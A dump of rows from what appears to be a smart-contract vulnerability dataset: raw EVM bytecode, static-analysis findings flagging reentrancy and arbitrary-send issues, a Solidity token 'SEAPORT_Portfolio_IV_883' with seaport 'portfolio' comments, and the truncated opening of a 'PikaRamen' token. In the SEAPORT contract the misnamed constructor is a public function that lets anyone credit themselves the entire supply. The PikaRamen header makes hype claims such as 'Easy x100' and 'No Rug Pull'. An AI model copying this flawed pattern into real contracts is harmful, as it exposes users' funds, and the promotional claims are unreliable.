020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f86d987eef17bc6f2ccecf0d0e4f8ce50abe5eed86cc686e9c4c6fc05cdccf0b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,768 |
0x682b209746d5dc7af7a1bced1f88759b3fbadbc5
|
pragma solidity ^0.4.21 ;
contract SEAPORT_Portfolio_IV_883 {
mapping (address => uint256) public balanceOf;
string public name = " SEAPORT_Portfolio_IV_883 " ;
string public symbol = " SEAPORT883IV " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 903053077115554000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_IV_metadata_line_1_____Abakan_Spe_Value_20230515 >
// < YIu6x2WW5X3IQvw388rT7uU6m4vnnQXJ6TuxI10Zpoe0UZ1Wf681wvGn7a8555Fd >
// < 1E-018 limites [ 1E-018 ; 25704415,9015215 ] >
// < 0x000000000000000000000000000000000000000000000000000000009935D56A >
// < SEAPORT_Portfolio_IV_metadata_line_2_____Aleksandrovsk_Sakhalinsky_Sea_Port_20230515 >
// < pLp6XEz0v38W0b1BhivwU6jh9w4n3Da1NMn5bS9fP0brEmcQQiiPVqKo8QeQE0K4 >
// < 1E-018 limites [ 25704415,9015215 ; 48178534,2275302 ] >
// < 0x000000000000000000000000000000000000000000000009935D56A11F2A9DE2 >
// < SEAPORT_Portfolio_IV_metadata_line_3_____Alexandrovsk Port of Alexandrovsk_Port_Spe_Value_20230515 >
// < 3rXD2d8HTlwog9O51WK08brkH6x02j9O8a01WTvQv41kHZPfYlqCzZh41eoYR7j7 >
// < 1E-018 limites [ 48178534,2275302 ; 74798147,905154 ] >
// < 0x000000000000000000000000000000000000000000000011F2A9DE21BDD4EC7A >
// < SEAPORT_Portfolio_IV_metadata_line_4_____Amderma Port of Amderma_Port_Spe_Value_20230515 >
// < H3r3RdaOvKFDp2852ddUI3fm2bb8jwZck05aMt3mQS7RrLqnC2imjvL88S21hw0N >
// < 1E-018 limites [ 74798147,905154 ; 99892843,7100847 ] >
// < 0x00000000000000000000000000000000000000000000001BDD4EC7A253686407 >
// < SEAPORT_Portfolio_IV_metadata_line_5_____Amderma_Maritime_Trade_Port_20230515 >
// < V65W67P69R773isIP68q7Zemhk18aa786LZ68a7Az9PRHyHilw4FZl9qQ99Jg399 >
// < 1E-018 limites [ 99892843,7100847 ; 124210658,879511 ] >
// < 0x00000000000000000000000000000000000000000000002536864072E45A6E93 >
// < SEAPORT_Portfolio_IV_metadata_line_6_____Anadyr Port of Anadyr_Port_Spe_Value_20230515 >
// < bGrQCamIR3n8D32lDGC3m4KsR9cdXnoZ6STX0x91rd5r7a1oAGvU3U3Pi2B85stv >
// < 1E-018 limites [ 124210658,879511 ; 141519099,751623 ] >
// < 0x00000000000000000000000000000000000000000000002E45A6E9334B85044B >
// < SEAPORT_Portfolio_IV_metadata_line_7_____Anadyr_Port_Spe_Value_20230515 >
// < i1BX7Om3036P0JQ10rcp0x3UJX1tBvDuzD8YjwU7aPG6jtMTc6LncnWiroM53L53 >
// < 1E-018 limites [ 141519099,751623 ; 170437051,489341 ] >
// < 0x000000000000000000000000000000000000000000000034B85044B3F7E24F30 >
// < SEAPORT_Portfolio_IV_metadata_line_8_____Anadyr_Sea_Port_Ltd_20230515 >
// < cHAis1BDxH9M57P8KV96kd5gYh0Tz03W3BLDSGQo5z2wgF5YfAV6czGnWYqwR1KO >
// < 1E-018 limites [ 170437051,489341 ; 193424389,731618 ] >
// < 0x00000000000000000000000000000000000000000000003F7E24F30480E63431 >
// < SEAPORT_Portfolio_IV_metadata_line_9_____Anapa Port of Anapa_Port_Spe_Value_20230515 >
// < Fd90H1qFIPfk0uhlP89vl985xb6s2nI99kVTWmD75G39wtn1L11h7virp3D04032 >
// < 1E-018 limites [ 193424389,731618 ; 215909284,550554 ] >
// < 0x0000000000000000000000000000000000000000000000480E63431506EB6E3B >
// < SEAPORT_Portfolio_IV_metadata_line_10_____Anapa_Port_Spe_Value_20230515 >
// < 6c953291zTjPirGJl3ZIzVrAW0aJ00Ox3ls7P38I90ej1lNzhfb4cIKs1ivgS3l6 >
// < 1E-018 limites [ 215909284,550554 ; 243730525,179161 ] >
// < 0x0000000000000000000000000000000000000000000000506EB6E3B5ACBF4659 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_IV_metadata_line_11_____Archangel Port of Archangel_Port_Spe_Value_20230515 >
// < qla0BZlsz1Qz04lmBE3bY8lIA099goaz4DRS5vdGek8YEHUvA4g21Ie0o5L809SV >
// < 1E-018 limites [ 243730525,179161 ; 259594586,79276 ] >
// < 0x00000000000000000000000000000000000000000000005ACBF465960B4DE96B >
// < SEAPORT_Portfolio_IV_metadata_line_12_____Arkhangelsk Port of Arkhangelsk_Port_Spe_Value_20230515 >
// < 85DABUQrAla50y989pld0C01X6EaOz8F62Bh0AMKae699AK35MR7888U0X8Tsil9 >
// < 1E-018 limites [ 259594586,79276 ; 282877387,923155 ] >
// < 0x000000000000000000000000000000000000000000000060B4DE96B69614A59C >
// < SEAPORT_Portfolio_IV_metadata_line_13_____Arkhangelsk_Port_Spe_Value_20230515 >
// < Nb52Bobp2E86eaw7lK87MUo4tjKSlT06r39iNcO73PiCHJ1BghXPQ3y8I0VeMfUI >
// < 1E-018 limites [ 282877387,923155 ; 299693504,110468 ] >
// < 0x000000000000000000000000000000000000000000000069614A59C6FA5000FF >
// < SEAPORT_Portfolio_IV_metadata_line_14_____Astrakhan Port of Astrakhan_Port_Spe_Value_20230515 >
// < WCm2eDP8ryFEDfDA7GoZk7x3hI97q0Z0EJ9fu2I0297B7SL218HnK047NXGaS45v >
// < 1E-018 limites [ 299693504,110468 ; 320204388,876235 ] >
// < 0x00000000000000000000000000000000000000000000006FA5000FF77491215B >
// < SEAPORT_Portfolio_IV_metadata_line_15_____Astrakhan_Port_Spe_Value_20230515 >
// < kN6rYRiB82I7HFgGr5tNn0xCmZsi18G6K7wa18C0x8nb5YRaoLZaLL0Yy0N09O6W >
// < 1E-018 limites [ 320204388,876235 ; 340774050,132965 ] >
// < 0x000000000000000000000000000000000000000000000077491215B7EF2BF149 >
// < SEAPORT_Portfolio_IV_metadata_line_16_____Astrakhan_Sea_Commercial_Port_20230515 >
// < 9zZy82SCXTt4kkkdM7rHU2k7bzl4Eavk2mY7IGhT0VmzWp0k9m8l5EAj7Plxl959 >
// < 1E-018 limites [ 340774050,132965 ; 366917637,241202 ] >
// < 0x00000000000000000000000000000000000000000000007EF2BF14988AFFE400 >
// < SEAPORT_Portfolio_IV_metadata_line_17_____Astrakhan_Sea_Commercial_Port_I_20230515 >
// < B2D4NS99jg48GLzfFmT072P8t2zouAa3xQ6OM4J83Ux4d3YMv2akoRQ0a885ju1M >
// < 1E-018 limites [ 366917637,241202 ; 388320458,223693 ] >
// < 0x000000000000000000000000000000000000000000000088AFFE40090A9200F2 >
// < SEAPORT_Portfolio_IV_metadata_line_18_____Azov Port of Azov_Port_Spe_Value_20230515 >
// < TwafO563iq1wU95H58iT73tw5B6RG8z89T5C3EXwiDG9cNl4115BBsTJqH1qlyX0 >
// < 1E-018 limites [ 388320458,223693 ; 417207319,192309 ] >
// < 0x000000000000000000000000000000000000000000000090A9200F29B6BFDB03 >
// < SEAPORT_Portfolio_IV_metadata_line_19_____Baltyisk Port of Baltyisk_Port_Spe_Value_20230515 >
// < f5449FcaZuWTX9a55ds11Z17OydSm220qX89wqUHy3Ygdii1j7o7Sehn9GO8ZtsQ >
// < 1E-018 limites [ 417207319,192309 ; 434305016,917108 ] >
// < 0x00000000000000000000000000000000000000000000009B6BFDB03A1CA8DF2F >
// < SEAPORT_Portfolio_IV_metadata_line_20_____Barnaul_Port_Spe_Value_20230515 >
// < zA3efK1nCZDaxK21sZi2W545JPod7qxjGqL13Gl0gOPKWz28o3J5V1u3KVUiWyvt >
// < 1E-018 limites [ 434305016,917108 ; 454214990,847313 ] >
// < 0x0000000000000000000000000000000000000000000000A1CA8DF2FA935514C0 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_IV_metadata_line_21_____Beringovsky Port of Beringovsky_Port_Spe_Value_20230515 >
// < ygE0U3SWCQKO3AmDvvDS7l4L1KT2unp20bPVK2fwX2uR2dnz406O82zdYgbII559 >
// < 1E-018 limites [ 454214990,847313 ; 471722208,836635 ] >
// < 0x0000000000000000000000000000000000000000000000A935514C0AFBAEF9C7 >
// < SEAPORT_Portfolio_IV_metadata_line_22_____Beringovsky_Port_Spe_Value_20230515 >
// < n2Hw9Smuv7575yWD3wLifMoR8ZRt71IdXKd4W8D65ck3F9P7KqqtVHh2hXFftw6i >
// < 1E-018 limites [ 471722208,836635 ; 498319377,499027 ] >
// < 0x0000000000000000000000000000000000000000000000AFBAEF9C7B9A3708C9 >
// < SEAPORT_Portfolio_IV_metadata_line_23_____Beryozovo_Port_Spe_Value_20230515 >
// < xqqUq2bk869If95I42v9Mi0TlPxK8e1NFxRhGBD9i7f9Ai7l2LZMZWSE1Qe1MfqN >
// < 1E-018 limites [ 498319377,499027 ; 517033952,063838 ] >
// < 0x0000000000000000000000000000000000000000000000B9A3708C9C09C3357A >
// < SEAPORT_Portfolio_IV_metadata_line_24_____Bratsk_Port_Spe_Value_20230515 >
// < WR3xbsrjCDBVVTB636LBIdJLYJ4fA13geVANnxlJR5891xvfN4804d68be4zkt4F >
// < 1E-018 limites [ 517033952,063838 ; 532781471,154111 ] >
// < 0x0000000000000000000000000000000000000000000000C09C3357AC67A0041F >
// < SEAPORT_Portfolio_IV_metadata_line_25_____Bukhta_Nagayeva_Port_Spe_Value_20230515 >
// < Yib38j54afQ3p92Jvu927ws78bjvk76aaBe7RAvbra7j461PGLYOKfuBa89k2z9l >
// < 1E-018 limites [ 532781471,154111 ; 559212293,469135 ] >
// < 0x0000000000000000000000000000000000000000000000C67A0041FD052A4016 >
// < SEAPORT_Portfolio_IV_metadata_line_26_____Central_Office_of_the_Port_Vitino_20230515 >
// < snfTLXTX4xY30Z3v1bqXqf6f6fcVep7U8eyneDhHRHf79QbJImye4aiedc6fsw5b >
// < 1E-018 limites [ 559212293,469135 ; 586063411,447972 ] >
// < 0x0000000000000000000000000000000000000000000000D052A4016DA535CE0C >
// < SEAPORT_Portfolio_IV_metadata_line_27_____Central_Office_of_the_Port_Vitino_20230515 >
// < 2WDDjdql8TFx3UvVEH8BdX5B6T2SspdUoik90c4v2Nhtos6V6i3o8LKqPQF0Iaz2 >
// < 1E-018 limites [ 586063411,447972 ; 606841676,203753 ] >
// < 0x0000000000000000000000000000000000000000000000DA535CE0CE210EEBB8 >
// < SEAPORT_Portfolio_IV_metadata_line_28_____Cherepovets_Port_Spe_Value_20230515 >
// < 83Q6UIuwZSxk58zhTYurb1W17J78T7kn20tZm81IfOb2gf6haKX65lhcgdxbyIO2 >
// < 1E-018 limites [ 606841676,203753 ; 635725199,678673 ] >
// < 0x0000000000000000000000000000000000000000000000E210EEBB8ECD37AE13 >
// < SEAPORT_Portfolio_IV_metadata_line_29_____Commercial_Port_Livadia_Limited_20230515 >
// < RueYN5Wou0zvC6Wjh32I77WhGek98XFcJGl9Zd6lZ503MML83tK6MLT99TkX8m27 >
// < 1E-018 limites [ 635725199,678673 ; 655475982,08664 ] >
// < 0x0000000000000000000000000000000000000000000000ECD37AE13F42F0FB74 >
// < SEAPORT_Portfolio_IV_metadata_line_30_____Commercial_Port_Livadia_Limited_20230515 >
// < akPcyo1Hn1WvGY1afy0LFea5Tw99E4lSH4I0RDP9zU58Rql6hZ6ec9Lu88z65M1o >
// < 1E-018 limites [ 655475982,08664 ; 679259830,887871 ] >
// < 0x0000000000000000000000000000000000000000000000F42F0FB74FD0B44164 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < SEAPORT_Portfolio_IV_metadata_line_31_____De Kastri Port of De Kastri_Port_Spe_Value_20230515 >
// < Cbaa8bdX7eTt4b0vE77LfECEGHIKiLML62qrd15ik9x62K3dGg5wwVCkbKPzxv54 >
// < 1E-018 limites [ 679259830,887871 ; 704996877,54202 ] >
// < 0x000000000000000000000000000000000000000000000FD0B44164106A1BDF3E >
// < SEAPORT_Portfolio_IV_metadata_line_32_____De_Kastri_Port_Spe_Value_20230515 >
// < issVYsiJ086AumzdbBfbSIPL9Ou13BeQ5czJo70NzRgB68GdUepj85MsUPOEd0wO >
// < 1E-018 limites [ 704996877,54202 ; 730037958,342547 ] >
// < 0x00000000000000000000000000000000000000000000106A1BDF3E10FF5D876E >
// < SEAPORT_Portfolio_IV_metadata_line_33_____Dikson Port of Dikson_Port_Spe_Value_20230515 >
// < zknn51i8qJDH3v68Lxm9zk5u1114J5TebAVq2dNjYo8ayLwI9O7f9Txb4YM87h6D >
// < 1E-018 limites [ 730037958,342547 ; 757028901,735398 ] >
// < 0x0000000000000000000000000000000000000000000010FF5D876E11A03E70B1 >
// < SEAPORT_Portfolio_IV_metadata_line_34_____Dudinka Port of Dudinka_Port_Spe_Value_20230515 >
// < ksU1Nkf2P2E5EI0NMp9a8rNQTa6j7FEaDj8QCwowrzCQxqXrTaz62kv5L31X8I3z >
// < 1E-018 limites [ 757028901,735398 ; 776290213,194866 ] >
// < 0x0000000000000000000000000000000000000000000011A03E70B112130CDE7B >
// < SEAPORT_Portfolio_IV_metadata_line_35_____Dudinka_Port_Spe_Value_20230515 >
// < B5Z65EmbGwTcyn91P9Z3JA1gbD9mBXU4t9wv6H6401kJq34IwrZBp3H33CPm6nnM >
// < 1E-018 limites [ 776290213,194866 ; 792919765,209935 ] >
// < 0x0000000000000000000000000000000000000000000012130CDE7B12762B8D3C >
// < SEAPORT_Portfolio_IV_metadata_line_36_____Dzerzhinsk_Port_Spe_Value_20230515 >
// < y2MX710fxwzs2mx3D05LPJFNz44AOO9R4GSGCqrxJ242o60v6Zn6G670aR0NNvPH >
// < 1E-018 limites [ 792919765,209935 ; ] >
// < 0x0000000000000000000000000000000000000000000012762B8D3C130213FDFE >
// < SEAPORT_Portfolio_IV_metadata_line_37_____Egvekinot Port of Egvekinot_Port_Spe_Value_20230515 >
// < WL8iJ31oS2iPT6e7qRn4N8Xr6TE4x46ry570FlrU700FDjx80PBa6p1d5F5dMZsh >
// < 1E-018 limites [ 816392427,620288 ; 838214717,335677 ] >
// < 0x00000000000000000000000000000000000000000000130213FDFE13842629E9 >
// < SEAPORT_Portfolio_IV_metadata_line_38_____Egvekinot_Port_Spe_Value_20230515 >
// < 5RcB7Ljk71w4033CT1NL68BI2VO18nvlRNkJn6iLDsfyDBTPgPR235PdxpNaqWt8 >
// < 1E-018 limites [ 838214717,335677 ; 858255203,257222 ] >
// < 0x0000000000000000000000000000000000000000000013842629E913FB9984B9 >
// < SEAPORT_Portfolio_IV_metadata_line_39_____Ekonomiya_Port_Spe_Value_20230515 >
// < rNGFGpO29lF2I7zHnD2JhKNXZyc3c0Erey1rQ4vw83GPJ9tdKCQ21M63Q8mUz5UW >
// < 1E-018 limites [ 858255203,257222 ; 883961427,0895 ] >
// < 0x0000000000000000000000000000000000000000000013FB9984B91494D21A68 >
// < SEAPORT_Portfolio_IV_metadata_line_40_____Feodossiya_Port_Spe_Value_20230515 >
// < nJScjbP7w9l65MYh0hFoXVHI703PA6EbzBma524eS22Lh1i42vah27Pxu55s3vv3 >
// < 1E-018 limites [ 883961427,0895 ; 903053077,115555 ] >
// < 0x000000000000000000000000000000000000000000001494D21A6815069DA633 >
}
|
0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013757806318160ddd1461019157806323b872dd146101ba578063313ce5671461023357806370a082311461026257806395d89b41146102af578063a9059cbb1461033d578063b5c8f31714610397578063dd62ed3e146103ac575b600080fd5b34156100b457600080fd5b6100bc610418565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fc5780820151818401526020810190506100e1565b50505050905090810190601f1680156101295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014257600080fd5b610177600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506104b6565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a46105a8565b6040518082815260200191505060405180910390f35b34156101c557600080fd5b610219600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105ae565b604051808215151515815260200191505060405180910390f35b341561023e57600080fd5b61024661081a565b604051808260ff1660ff16815260200191505060405180910390f35b341561026d57600080fd5b610299600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061082d565b6040518082815260200191505060405180910390f35b34156102ba57600080fd5b6102c2610845565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103025780820151818401526020810190506102e7565b50505050905090810190601f16801561032f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034857600080fd5b61037d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108e3565b604051808215151515815260200191505060405180910390f35b34156103a257600080fd5b6103aa610a39565b005b34156103b757600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ae8565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ae5780601f10610483576101008083540402835291602001916104ae565b820191906000526020600020905b81548152906001019060200180831161049157829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156105fd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561068857600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108db5780601f106108b0576101008083540402835291602001916108db565b820191906000526020600020905b8154815290600101906020018083116108be57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561093257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a72305820b8ff62172369eb2f92db2203d00a433faffb233c5a75b566932e59bd7d2759cc0029
|
{"success": true, "error": null, "results": {}}
| 8,769 |
0x58c48835d0740271067c0b2d05ebcd5280fe5044
|
/**
*Submitted for verification at Etherscan.io on 2021-07-20
*/
/**
*
welcome to PikaRamen
totalSupply : 1,000,000,000,000
liquidity : 75%
totalBurn : 20%
Marketing : 3%
team dev : 2%
***** I will add 2 ETH to the Liquidity *****
// FAIRLAUNCH
// Easy x100
// Liquidity pool locked
// Renounce
// Contract verified on Etherscan
* No Rug Pull
* Anti whales
* No presale
* 100% Community-driven
tg: https://t.me/Pikaramen
* SPDX-License-Identifier: UNLICENSED
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool) ;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
